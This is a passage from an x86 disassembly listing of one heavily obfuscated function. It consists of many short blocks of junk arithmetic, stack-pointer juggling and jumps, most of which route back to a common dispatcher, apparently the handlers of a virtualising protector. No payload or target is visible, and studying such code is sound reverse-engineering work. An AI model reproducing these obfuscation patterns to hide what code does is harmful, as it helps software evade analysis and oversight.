loc_59376E:				; CODE XREF: sub_58A891+F74Bj
		mov	edx, 4
		add	edi, edx
		jmp	loc_59A87F
; ---------------------------------------------------------------------------


loc_59377A:				; CODE XREF: sub_58A891+595Cj
		sub	ecx, 65C122F9h
		push	edx
		jmp	loc_5906FC
; ---------------------------------------------------------------------------


loc_593786:				; CODE XREF: sub_58A891+E92Fj
		xor	esi, ebx
		pop	ebx
		sub	[edi+24h], esi
		jmp	loc_5957E6
; ---------------------------------------------------------------------------


loc_593791:				; CODE XREF: sub_58A891+57EEj
		push	dx
		not	byte ptr [esp+22h+var_24+3]
		pop	dx
		xor	dh, 0B5h
		mov	al, dh
		pop	edx
		sub	al, 41h
		sub	al, dl
		add	al, 41h
		pop	edx
		add	al, 5Eh
		sub	bl, al
		pop	eax
		movzx	eax, al
		jmp	loc_58F9EB
; ---------------------------------------------------------------------------


loc_5937B3:				; CODE XREF: sub_58A891+AB5Ej
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_592542
; ---------------------------------------------------------------------------


loc_5937C0:				; CODE XREF: sub_58A891+77FEj
		pop	esp
		mov	eax, [esp+0]
		jmp	loc_599877
; ---------------------------------------------------------------------------


loc_5937C9:				; DATA XREF: sub_58A891+39ABo
		mov	cx, word ptr [esp+8+var_8]
		push	edi
		mov	edi, esp
		push	edx
		jmp	loc_5976BA
; ---------------------------------------------------------------------------


loc_5937D6:				; CODE XREF: sub_58A891+109AFj
		dec	edx
		jns	loc_58F7CE
		xor	edx, 2C9F3E2Dh
		jmp	loc_595AB6
; ---------------------------------------------------------------------------


loc_5937E8:				; CODE XREF: sub_58A891+F73Dj
		pop	eax
		jmp	loc_5920DD
; ---------------------------------------------------------------------------


loc_5937EE:				; CODE XREF: sub_58A891+3F69j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+44h+var_44]
		pop	esp
		jmp	loc_591118
; ---------------------------------------------------------------------------


loc_593806:				; CODE XREF: sub_58A891+B4DFj
		push	ebp
		mov	ebp, esp
		jmp	loc_58EE53
; ---------------------------------------------------------------------------


loc_59380E:				; CODE XREF: sub_58A891+BE19j
		pop	ebx
		push	7F1Dh
		mov	[esp+44h+var_44], edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_593371
; ---------------------------------------------------------------------------


loc_593823:				; CODE XREF: sub_58A891+9935j
		push	ecx
		pop	esi
		mov	ecx, [esp+44h+var_44]
		add	esp, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], edi
		xor	edi, [esp+3Ch+var_3C]
		mov	esp, [esp+3Ch+var_3C]
		cmp	ecx, eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593845:				; CODE XREF: sub_58A891+71AEj
		push	72D7h
		mov	[esp+54h+var_54], esp
		push	ecx
		mov	ecx, 4
		add	[esp+58h+var_54], ecx
		pop	ecx
		push	[esp+54h+var_54]
		pop	ebx
		jmp	loc_590A09
; ---------------------------------------------------------------------------


loc_593861:				; CODE XREF: sub_58A891+F786j
		add	ebp, 60698F44h
		mov	edx, ebp
		pop	ebp
		or	edx, 4CE5377Ah
		jbe	loc_5978F0
		inc	edx
		jmp	loc_590EA6
; ---------------------------------------------------------------------------


loc_59387C:				; CODE XREF: sub_58A891+112A8j
		js	loc_593446
		xor	dh, 0A3h
		mov	cl, dh
		pop	edx
		shl	cl, 5
		pop	edi


loc_59388C:				; CODE XREF: sub_58A891+106CAj
		add	edi, ebp
		pop	ebp
		sub	edi, 2
		xor	edi, [esp+44h+var_44]
		jmp	loc_593E5E
; ---------------------------------------------------------------------------


loc_59389D:				; CODE XREF: sub_58A891+49BDj
		add	esp, 4
		push	ebp
		mov	ebp, 1F0E1A1Fh
		or	ebp, 5E72615h
		jmp	loc_59A9F3
; ---------------------------------------------------------------------------


loc_5938B4:				; CODE XREF: sub_58A891+EA46j
		xor	eax, 18B84BF8h
		neg	eax
		jmp	loc_59AB61
; ---------------------------------------------------------------------------


loc_5938C0:				; CODE XREF: sub_58A891+657Aj
		add	ecx, 4
		push	ecx
		jmp	loc_58FB49
; ---------------------------------------------------------------------------


loc_5938C9:				; CODE XREF: sub_58A891+F08Bj
		push	[esp+10h+var_10]
		pop	edx
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp+14h+var_14]
		pop	esp
		xor	eax, edi
		pop	edi
		jmp	loc_59AE88
; ---------------------------------------------------------------------------


loc_5938EB:				; CODE XREF: sub_58A891+E088j
		sub	eax, edi
		add	eax, 3D055E93h
		pop	edi
		jmp	loc_58F80F
; ---------------------------------------------------------------------------


loc_5938F8:				; CODE XREF: sub_58A891+B1B1j
		pop	ecx
		sub	eax, 12C67A02h
		sub	eax, edx
		add	eax, 12C67A02h
		pop	edx
		push	edi
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	4E941BA9h
		pop	esi
		jmp	loc_5974FE
; ---------------------------------------------------------------------------


loc_59391B:				; CODE XREF: sub_58A891+6D1Cj
		add	eax, 6A979D06h
		add	ebp, eax
		pop	eax
		pop	ebx
		add	ebp, 2
		xor	ebp, [esp+10h+var_10]
		xor	[esp+10h+var_10], ebp
		jmp	loc_592CB7
; ---------------------------------------------------------------------------


loc_593932:				; CODE XREF: sub_58A891+45E5j
		mov	[esp-0Ch+arg_4], ecx
		push	edx
		jmp	loc_58F253
; ---------------------------------------------------------------------------


loc_59393B:				; CODE XREF: sub_58A891+A452j
		add	esi, edx
		mov	edx, [esp-8+arg_0]
		add	esp, 4
		and	esi, 11E2370Bh
		push	ebp
		mov	ebp, 20F279E2h
		and	ebp, 3F7518DEh
		not	ebp
		add	ebp, 0BBA9E269h
		jmp	loc_58E5A4
; ---------------------------------------------------------------------------


loc_593962:				; CODE XREF: sub_58A891:loc_596C00j
		push	cx
		jmp	loc_597520
; ---------------------------------------------------------------------------


loc_593969:				; CODE XREF: sub_58A891+9EFCj
		mov	dh, ch
		mov	ah, dh
		pop	edx
		pop	cx
		xchg	ah, bh
		push	edx
		mov	dl, 97h
		push	cx
		mov	cl, 1
		add	dl, 27h
		add	dl, 46h
		add	dl, cl
		sub	dl, 46h
		sub	dl, 27h
		pop	cx
		jmp	loc_591BBE
; ---------------------------------------------------------------------------


loc_59398E:				; CODE XREF: sub_58A891+CF09j
		sub	eax, ebp
		sub	eax, 44C82723h
		jmp	loc_59755C
; ---------------------------------------------------------------------------


loc_59399A:				; CODE XREF: sub_58A891+441Cj
		mov	ebp, [esp+0]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+0]
		xor	[esp+0], edi
		jmp	loc_597D95
; ---------------------------------------------------------------------------


loc_5939B4:				; CODE XREF: sub_58A891+416Ej
		xor	ebp, 5DB6CF6Ah
		mov	edx, ebp
		pop	ebp
		add	edx, 2C050C7Bh
		jmp	loc_59246D
; ---------------------------------------------------------------------------


loc_5939C8:				; CODE XREF: sub_58A891+AD26j
		shl	ah, 2
		shl	ah, 4
		push	bx
		jmp	loc_5954ED
; ---------------------------------------------------------------------------


loc_5939D5:				; CODE XREF: sub_58A891+7E9Aj
		sub	esi, 0BD916FD9h
		add	ecx, esi
		jmp	loc_597EFF
; ---------------------------------------------------------------------------


loc_5939E2:				; CODE XREF: sub_58A891+FD9Cj
		mov	ecx, 4869512Eh
		not	ecx
		jmp	loc_5915FE
; ---------------------------------------------------------------------------


loc_5939EE:				; CODE XREF: sub_58A891+F3E9j
		sub	esp, 4
		jmp	loc_59A3B0
; ---------------------------------------------------------------------------


loc_5939F6:				; CODE XREF: sub_58A891+C752j
		pop	esi
		and	esi, 43657998h
		or	esi, 1E053852h
		xor	esi, 1F65785Eh
		add	eax, esi
		mov	esi, [esp+48h+var_48]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4Ch+var_4C]
		jmp	loc_594B37
; ---------------------------------------------------------------------------


loc_593A21:				; CODE XREF: sub_58A891+B876j
		add	esp, 4
		jmp	loc_58EFC8
; ---------------------------------------------------------------------------


loc_593A2C:				; CODE XREF: sub_58A891+BFCEj
		push	65A1h
		mov	[esp+4Ch+var_4C], edx
		mov	edx, 2E1E32EEh
		sub	esp, 4
		jmp	loc_59B905
; ---------------------------------------------------------------------------


loc_593A41:				; CODE XREF: sub_58A891+FD1Dj
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58F4A7
; ---------------------------------------------------------------------------


loc_593A50:				; CODE XREF: sub_58A891+CDBCj
		push	edx
		push	ebp
		mov	ebp, 788B1B53h
		push	ecx
		mov	ecx, 730C28B0h
		add	ebp, ecx
		pop	ecx
		shl	ebp, 8
		dec	ebp
		jnz	loc_592660
		jmp	loc_591DCE
; ---------------------------------------------------------------------------
		xor	edi, 0EB17897Ah
		add	ebp, edi
		mov	cl, ch


loc_593A79:				; CODE XREF: sub_58A891+AA2Bj
		xor	ebx, 1A940AB3h
		add	ebx, 683EC3D6h
		mov	esi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 6982621Bh
		sub	esp, 4
		mov	[esp+5Ch+var_5C], esi
		mov	esi, 0FFD4E3Bh
		sub	ebp, esi
		pop	esi
		jmp	loc_59896D
; ---------------------------------------------------------------------------


loc_593AA4:				; CODE XREF: sub_58A891+4958j
		xor	ebp, 48342F89h
		mov	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 358B263Ah
		neg	eax
		dec	eax
		sub	eax, 34525095h
		jmp	loc_58EE41
; ---------------------------------------------------------------------------


loc_593AC0:				; CODE XREF: sub_58A891+6E90j
		push	ebx
		jmp	loc_591281
; ---------------------------------------------------------------------------


loc_593AC6:				; CODE XREF: sub_58A891+7435j
		add	eax, esi
		pop	esi
		xor	eax, [esp+38h+var_38]
		xor	[esp+38h+var_38], eax
		xor	eax, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		test	cl, al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593ADD:				; CODE XREF: sub_58A891+ADD9j
		shr	esi, 6
		sub	esi, 7BAB5C4Ch
		jmp	loc_5955D6
; ---------------------------------------------------------------------------


loc_593AEB:				; CODE XREF: sub_58A891+F342j
		push	ebx
		push	edx
		mov	edx, 1D3F15FBh
		jmp	loc_58F027
; ---------------------------------------------------------------------------


loc_593AF7:				; CODE XREF: sub_58A891+4A03j
		push	ebx
		mov	ebx, 35304110h
		sub	ebx, 77AA32E1h
		add	ebx, 4279F1D5h
		add	ebp, ebx
		jmp	loc_596305
; ---------------------------------------------------------------------------


loc_593B10:				; CODE XREF: sub_58A891+74E7j
		add	ebx, 43693D51h
		sub	ebx, 79FA5AE8h
		push	ebp
		mov	ebp, 65881A97h
		xor	ebp, 76BA66E9h
		jmp	loc_5991A8
; ---------------------------------------------------------------------------


loc_593B2D:				; CODE XREF: sub_58A891+8DC4j
		xor	bl, byte ptr [esp+8+var_8]
		xor	byte ptr [esp+8+var_8],	bl
		xchg	dh, bl
		push	ecx
		mov	cl, dh
		not	cl
		mov	dh, cl
		pop	ecx
		jmp	loc_594650
; ---------------------------------------------------------------------------


loc_593B42:				; CODE XREF: sub_58A891+10F47j
		mov	ebp, [esp+8+var_8]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		or	edx, eax
		jmp	loc_58F7B5
; ---------------------------------------------------------------------------


loc_593B61:				; CODE XREF: sub_58A891+5D39j
		xchg	edi, [esp+3Ch+var_3C]
		pop	esp
		and	eax, ebx
		push	[esp+38h+var_38]
		pop	ebx
		add	esp, 4
		or	edx, eax
		jmp	loc_59367F
; ---------------------------------------------------------------------------


loc_593B78:				; CODE XREF: sub_58A891+A28Aj
					; sub_58A891:loc_5980BCj
		sub	al, dh
		pop	edx
		jmp	loc_5905E6
; ---------------------------------------------------------------------------


loc_593B80:				; DATA XREF: sub_58A891+3BBBo
		mov	ax, word ptr [esp+8+var_8]
		push	7092h
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		add	ebp, 4
		push	55C8h
		mov	[esp+10h+var_10], edx
		jmp	loc_59726E
; ---------------------------------------------------------------------------


loc_593BA1:				; DATA XREF: sub_58A891+3BC7o
		sub	esp, 4
		jmp	loc_5980AB
; ---------------------------------------------------------------------------


loc_593BA9:				; CODE XREF: sub_58A891+509Dj
		push	small 0C31h
		mov	word ptr [esp+4+var_4],	ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593BB6:				; CODE XREF: sub_58A891+5715j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4Ch+var_4C]
		pop	esp
		jmp	loc_598FAF
; ---------------------------------------------------------------------------


loc_593BCE:				; CODE XREF: sub_58A891+F246j
		shr	bl, 6
		jnp	loc_599101
		xor	bl, 4Ch
		sub	esp, 4
		mov	[esp+4Ch+var_4C], ecx
		push	eax
		mov	al, bl
		mov	ch, al
		pop	eax
		neg	ch
		jmp	loc_590D9F
; ---------------------------------------------------------------------------


loc_593BF0:				; CODE XREF: sub_58A891+C77Aj
		add	ecx, 2E357A63h
		mov	ebx, ecx
		pop	ecx
		xor	ebx, 31503CB1h
		push	edx
		jmp	loc_5900CF
; ---------------------------------------------------------------------------


loc_593C05:				; CODE XREF: sub_58A891+4F83j
					; sub_58A891+CB6Dj
		sub	eax, edi
		sub	eax, 3C1C7E9Dh
		push	edx
		mov	edx, 15EA06AEh
		add	eax, edx
		pop	edx
		pop	edi
		jmp	loc_592C0F
; ---------------------------------------------------------------------------


loc_593C1B:				; CODE XREF: sub_58A891:loc_599700j
		shr	edi, 5
		sub	edi, 48AF26E1h
		jns	loc_59B8BD
		sub	edi, 0B84515AAh
		mov	ebx, edi
		jmp	loc_594438
; ---------------------------------------------------------------------------


loc_593C37:				; CODE XREF: sub_58A891+576Ej
		mov	ecx, 0C1C1CA14h
		sub	ebp, 4F072DBFh
		sub	ebp, ecx
		jmp	loc_58FC3C
; ---------------------------------------------------------------------------


loc_593C49:				; CODE XREF: sub_58A891+3E5Aj
		pop	edi
		jmp	loc_599FDB
; ---------------------------------------------------------------------------


loc_593C4F:				; CODE XREF: sub_58A891+58B7j
					; sub_58A891+AF5Fj
		push	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+48h+var_48]
		pop	esp
		mov	[esp+44h+var_44], ebp
		jmp	loc_595D80
; ---------------------------------------------------------------------------


loc_593C68:				; CODE XREF: sub_58A891+93F8j
		mov	edx, 740A51E3h
		jmp	loc_593250
; ---------------------------------------------------------------------------


loc_593C72:				; CODE XREF: sub_58A891+B6C0j
		neg	eax
		sub	eax, 0A544C8A7h
		sub	edx, eax
		pop	eax
		jmp	loc_58F582
; ---------------------------------------------------------------------------


loc_593C81:				; CODE XREF: sub_58A891+F8BFj
		pop	ebx
		sub	esp, 4
		mov	[esp+40h+var_40], eax
		push	edx
		jmp	loc_593C68
; ---------------------------------------------------------------------------


loc_593C8E:				; CODE XREF: sub_58A891+9ED1j
		push	ecx
		mov	ecx, 244E1D87h
		and	ecx, 5F3F6F1Bh
		shr	ecx, 8
		inc	ecx
		neg	ecx
		xor	ecx, 0DAE423Bh
		sub	ecx, 0F255B3C5h
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+44h+var_44]
		jmp	loc_59A304
; ---------------------------------------------------------------------------


loc_593CB7:				; CODE XREF: sub_58A891+BEACj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593CBC:				; CODE XREF: sub_58A891+4AEEj
		jg	loc_59AD6E
		xor	eax, 82BBE605h
		shr	eax, 4
		jmp	loc_5976D5
; ---------------------------------------------------------------------------


loc_593CCF:				; CODE XREF: sub_58A891+83F6j
		mov	[esp+0Ch+var_C], edx
		mov	dh, 2Eh
		shr	dh, 3
		push	eax
		jmp	loc_59A834
; ---------------------------------------------------------------------------


loc_593CDD:				; CODE XREF: sub_58A891+4815j
		xor	eax, 3F3BDBFDh
		jmp	loc_595404
; ---------------------------------------------------------------------------


loc_593CE7:				; CODE XREF: sub_58A891+773Dj
		mov	ebx, 2F426D2Bh
		add	ebp, ebx
		jmp	loc_593D58
; ---------------------------------------------------------------------------


loc_593CF3:				; CODE XREF: sub_58A891+8CBDj
		push	eax
		push	ecx
		jmp	loc_597033
; ---------------------------------------------------------------------------


loc_593CFA:				; CODE XREF: sub_58A891+95E6j
		pop	esp
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593D04:				; CODE XREF: sub_58A891+513Bj
		mov	ebp, esp
		add	ebp, 4
		push	edx
		push	esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		sub	ebp, 39D44818h
		add	ebp, edx
		add	ebp, 39D44818h
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		xchg	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		pop	[esp+18h+var_18]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593D3B:				; CODE XREF: sub_58A891+8881j
		add	cl, 0F9h
		add	bh, cl
		jmp	loc_58E9A0
; ---------------------------------------------------------------------------


loc_593D45:				; CODE XREF: sub_58A891+10AF2j
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		push	0F50h
		jmp	loc_59A0C8
; ---------------------------------------------------------------------------


loc_593D58:				; CODE XREF: sub_58A891+945Dj
		pop	ebx
		mov	ecx, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_58E5DC
; ---------------------------------------------------------------------------


loc_593D67:				; CODE XREF: sub_58A891+F388j
		mov	edi, 31C815BAh
		mov	ebp, edi
		jmp	loc_590D85
; ---------------------------------------------------------------------------


loc_593D73:				; CODE XREF: sub_58A891+4AC7j
		pop	esp
		mov	word ptr [esp+28h+var_28], cx
		jmp	loc_595E63
; ---------------------------------------------------------------------------


loc_593D7D:				; CODE XREF: sub_58A891+104F0j
		sub	ebp, 69055E2Eh
		add	ebp, 17C9235Ah
		add	ebp, edx
		push	esi
		jmp	loc_598C02
; ---------------------------------------------------------------------------


loc_593D91:				; CODE XREF: sub_58A891+E5A3j
		mov	edi, 6401277Ah
		sub	edi, 1589F4D6h
		sub	ebx, edi
		pop	edi
		push	esi
		push	ecx
		mov	ecx, 31883BBCh
		mov	esi, 0E4FD55Eh
		add	esi, ecx
		pop	ecx
		jmp	loc_59B1DB
; ---------------------------------------------------------------------------
off_593DB3	dd offset dword_625068	; DATA XREF: sub_58A891+39EFo
		align 4
		jmp	loc_596708
; ---------------------------------------------------------------------------


loc_593DBD:				; CODE XREF: sub_58A891+4029j
		or	edi, 20EE6A36h
		or	edi, 34360CD8h
		neg	edi
		push	2E57h
		jmp	loc_592632
; ---------------------------------------------------------------------------


loc_593DD5:				; CODE XREF: sub_58A891+BFC8j
		js	loc_5910E2
		neg	ebp
		jmp	loc_58E615
; ---------------------------------------------------------------------------
		jle	loc_5945F7


loc_593DE8:				; CODE XREF: sub_58A891+9AF4j
		push	esi
		push	esp
		mov	esi, [esp+4Ch+var_4C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4Ch+var_4C], edx
		push	4
		mov	edx, [esp+50h+var_50]
		add	esp, 4
		add	esi, edx
		mov	edx, [esp+4Ch+var_4C]
		add	esp, 4
		push	edi
		mov	edi, 2
		add	esi, edi
		jmp	loc_59514A
; ---------------------------------------------------------------------------


loc_593E1F:				; CODE XREF: sub_58A891+C4F6j
		sub	edx, 0E038B59Dh
		mov	eax, edx
		mov	edx, [esp+4Ch+var_4C]
		add	esp, 4
		add	ebx, eax
		pop	eax
		push	666Ah
		mov	[esp+48h+var_48], esi
		push	7ECA5F3Dh
		pop	esi
		sub	edx, esi
		push	[esp+48h+var_48]
		pop	esi
		sub	esp, 4
		mov	[esp+4Ch+var_4C], ebp
		mov	ebp, esp
		jmp	loc_594C9B
; ---------------------------------------------------------------------------


loc_593E54:				; CODE XREF: sub_58A891+C871j
		mov	ebp, 368F0563h
		jmp	loc_58F94B
; ---------------------------------------------------------------------------


loc_593E5E:				; CODE XREF: sub_58A891+9007j
		xor	[esp+44h+var_44], edi
		xor	edi, [esp+44h+var_44]
		pop	esp
		jmp	loc_59B2D6
; ---------------------------------------------------------------------------


loc_593E6A:				; CODE XREF: sub_58A891+BCF3j
		push	[esp+40h+var_3C]
		mov	ebx, [esp+44h+var_44]
		add	esp, 4
		pop	[esp+40h+var_40]
		jmp	loc_593CFA
; ---------------------------------------------------------------------------


loc_593E7C:				; CODE XREF: sub_58A891+550Cj
		xor	ecx, [esp-18h+arg_14]
		mov	esp, [esp-18h+arg_14]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593E87:				; CODE XREF: sub_58A891+F359j
		dec	ecx
		and	ecx, 6B0C7CC7h
		jg	loc_59BA2F
		shr	ecx, 2
		jnp	loc_59606D
		mov	bl, 0A8h


loc_593EA0:				; CODE XREF: sub_58A891:loc_5901A4j
		jmp	loc_58EE7B
; ---------------------------------------------------------------------------


loc_593EA5:				; CODE XREF: sub_58A891+D33Aj
		sub	esp, 4
		mov	[esp-14h+arg_A+2], eax
		push	edi
		mov	edi, 1
		push	edi
		jmp	loc_5990ED
; ---------------------------------------------------------------------------


loc_593EB7:				; CODE XREF: sub_58A891+7A07j
		xor	edi, 0DF37EE09h
		add	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 9BE7813h
		shr	ecx, 7
		jmp	loc_59B485
; ---------------------------------------------------------------------------


loc_593ECE:				; CODE XREF: sub_58A891+D882j
		push	2B31h
		mov	[esp+10h+var_10], edx
		jmp	loc_59572A
; ---------------------------------------------------------------------------


loc_593EDB:				; CODE XREF: sub_58A891+B592j
		xchg	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], edx
		push	eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+18h+var_18]
		push	ebx
		push	3A42h
		push	esp
		jmp	loc_59137A
; ---------------------------------------------------------------------------


loc_593EFB:				; DATA XREF: sub_58A891+3B0Fo
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	[esp+10h+var_C]
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		pop	[esp+10h+var_10]
		pop	esp
		mov	[esp+8+var_8], ecx
		jmp	loc_591ADE
; ---------------------------------------------------------------------------


loc_593F2C:				; CODE XREF: sub_58A891+DE22j
		pop	esi
		sub	edi, ebp
		push	[esp+4+var_4]
		jmp	loc_5948AF
; ---------------------------------------------------------------------------


loc_593F37:				; CODE XREF: sub_58A891+AC57j
					; sub_58A891+CB5Ej
		xor	ebx, 40926365h
		add	ebx, 75C21661h
		neg	ebx
		sub	ebx, 6BF9352Bh
		and	ebx, 1494C8Eh
		add	ebx, 701D6098h
		xor	esi, ebx
		pop	ebx
		add	ecx, esi
		pop	esi
		jmp	loc_58F952
; ---------------------------------------------------------------------------


loc_593F62:				; CODE XREF: sub_58A891+D6EAj
		inc	dword ptr [esp+0]
		mov	ebx, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_59100F
; ---------------------------------------------------------------------------


loc_593F7C:				; CODE XREF: sub_58A891+4C02j
		movzx	cx, ah
		push	edx
		jmp	loc_59213B
; ---------------------------------------------------------------------------


loc_593F86:				; CODE XREF: sub_58A891+D662j
		pop	ebp
		xor	eax, ebx
		pop	ebx
		jmp	loc_590D71
; ---------------------------------------------------------------------------


loc_593F8F:				; CODE XREF: sub_58A891+F809j
		sub	cl, dl
		push	edx
		jmp	loc_59477F
; ---------------------------------------------------------------------------


loc_593F97:				; CODE XREF: sub_58A891+5762j
		xor	edx, ebx
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_599416
; ---------------------------------------------------------------------------


loc_593FAD:				; CODE XREF: sub_58A891+80FDj
		mov	ebp, 593538F4h
		push	esi
		mov	esi, 1874480Ah
		add	eax, esi
		pop	esi
		sub	eax, ebp
		push	edx
		mov	edx, 1874480Ah
		sub	eax, edx
		pop	edx
		pop	ebp
		jmp	loc_58F923
; ---------------------------------------------------------------------------


loc_593FCC:				; CODE XREF: sub_58A891+7354j
		mov	ebp, [esp+44h+var_44]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp+48h+var_48]
		pop	esp
		mov	eax, edi
		jmp	loc_59685E
; ---------------------------------------------------------------------------


loc_593FEC:				; CODE XREF: sub_58A891+5016j
		pop	esp
		jmp	loc_590DC8
; ---------------------------------------------------------------------------


loc_593FF2:				; CODE XREF: sub_58A891+8463j
		pop	esp
		xor	ch, 8Bh
		add	al, ch
		jmp	loc_59B1BE
; ---------------------------------------------------------------------------


loc_593FFD:				; CODE XREF: sub_58A891+4D98j
					; sub_58A891+1009Bj
		xchg	ecx, [esp+50h+var_50]
		pop	esp
		jmp	loc_594D71
; ---------------------------------------------------------------------------


loc_594006:				; CODE XREF: sub_58A891+41FEj
		xor	ebx, 7BD6A067h
		and	ebx, 450E564Bh
		add	ebx, 3B472FB3h
		jz	loc_59B765
		add	ebx, 0A4BFE63Ch
		jmp	loc_5988F0
; ---------------------------------------------------------------------------


loc_594029:				; DATA XREF: sub_58A891+3B27o
		mov	ax, word ptr [esp+8+var_8]
		push	1C0h
		mov	[esp+0Ch+var_C], edi
		push	esp
		jmp	loc_591D26
; ---------------------------------------------------------------------------


loc_59403B:				; CODE XREF: sub_58A891+4459j
		jns	loc_599BBB
		xor	ecx, 44F368D6h
		push	ecx
		sub	dword ptr [esp+0], 519B5484h


loc_59404F:				; CODE XREF: sub_58A891+CEB7j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		push	ebp
		jmp	loc_598B14
; ---------------------------------------------------------------------------


loc_594061:				; CODE XREF: sub_58A891+629Fj
					; sub_58A891+DC8Ej
		shl	ch, 5
		sub	ch, 8Dh
		sub	al, 43h
		jmp	loc_591C24
; ---------------------------------------------------------------------------


loc_59406E:				; CODE XREF: sub_58A891+785Dj
		push	1A6Bh
		mov	[esp+10h+var_10], ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_58E89B
; ---------------------------------------------------------------------------


loc_59407E:				; CODE XREF: sub_58A891+4C5Fj
					; sub_58A891+57D0j
		add	ebx, 4
		push	edi
		jmp	loc_595373
; ---------------------------------------------------------------------------


loc_59408A:				; CODE XREF: sub_58A891+C259j
		push	ebp
		jmp	loc_598A43
; ---------------------------------------------------------------------------


loc_594090:				; CODE XREF: sub_58A891+51A2j
		mov	ebx, [esp+28h+var_28]
		push	edx
		jmp	loc_5963A9
; ---------------------------------------------------------------------------


loc_594099:				; CODE XREF: sub_58A891+5BD7j
		pop	eax
		pop	[esp+1Ch+var_1C]
		pop	esp
		mov	dx, word ptr [esp+14h+var_14]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_59A0FE
; ---------------------------------------------------------------------------


loc_5940B6:				; CODE XREF: sub_58A891+4868j
					; DATA XREF: sub_58A891+3AA7o
		lodsb
		jmp	loc_5967FA
; ---------------------------------------------------------------------------


loc_5940BC:				; CODE XREF: sub_58A891+B3C0j
		add	esp, 4
		push	small 208h
		mov	word ptr [esp+32h+var_34+2], cx
		push	42F9h
		mov	[esp+36h+var_38+2], eax
		mov	al, 35h
		jmp	loc_593122
; ---------------------------------------------------------------------------


loc_5940D9:				; CODE XREF: sub_58A891+C89Bj
		mov	[esp+36h+var_38+2], ebx
		mov	ebx, 7F9F459Eh
		xor	ecx, ebx
		jmp	loc_597D03
; ---------------------------------------------------------------------------


loc_5940E8:				; CODE XREF: sub_58A891+ED95j
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 2
		add	ebp, esi
		pop	esi
		push	4D10h
		jmp	loc_598A85
; ---------------------------------------------------------------------------


loc_594103:				; CODE XREF: sub_58A891+11027j
		push	eax
		mov	ah, dl
		mov	cl, ah
		jmp	loc_59B7FD
; ---------------------------------------------------------------------------


loc_59410D:				; CODE XREF: sub_58A891:loc_590A2Cj
					; sub_58A891+DB2Dj
		mov	edi, ebp
		jmp	loc_599B34
; ---------------------------------------------------------------------------


loc_594114:				; DATA XREF: sub_58A891+39F7o
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_595A95
; ---------------------------------------------------------------------------


loc_59411F:				; CODE XREF: sub_58A891+F3B7j
		push	ecx
		mov	ecx, 4
		jmp	loc_597CB7
; ---------------------------------------------------------------------------


loc_59412A:				; CODE XREF: sub_58A891+10E97j
		xor	bx, dx
		pop	dx
		xor	bx, 7E45h
		add	si, 215Ch
		add	si, bx
		sub	si, 215Ch
		push	[esp+0Eh+var_10+2]
		pop	ebx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_591856
; ---------------------------------------------------------------------------


loc_594152:				; CODE XREF: sub_58A891+9E48j
		sub	al, 89h
		add	al, dl
		push	edx
		push	ebx
		mov	bl, 0EFh
		mov	dh, 0
		add	dh, bl
		pop	ebx
		xor	dh, 66h
		add	al, dh
		pop	edx
		jmp	loc_5958CB
; ---------------------------------------------------------------------------


loc_59416A:				; CODE XREF: sub_58A891+FEC1j
		sub	ecx, 1E147C44h
		jmp	loc_599ADC
; ---------------------------------------------------------------------------


loc_594175:				; CODE XREF: sub_58A891+B104j
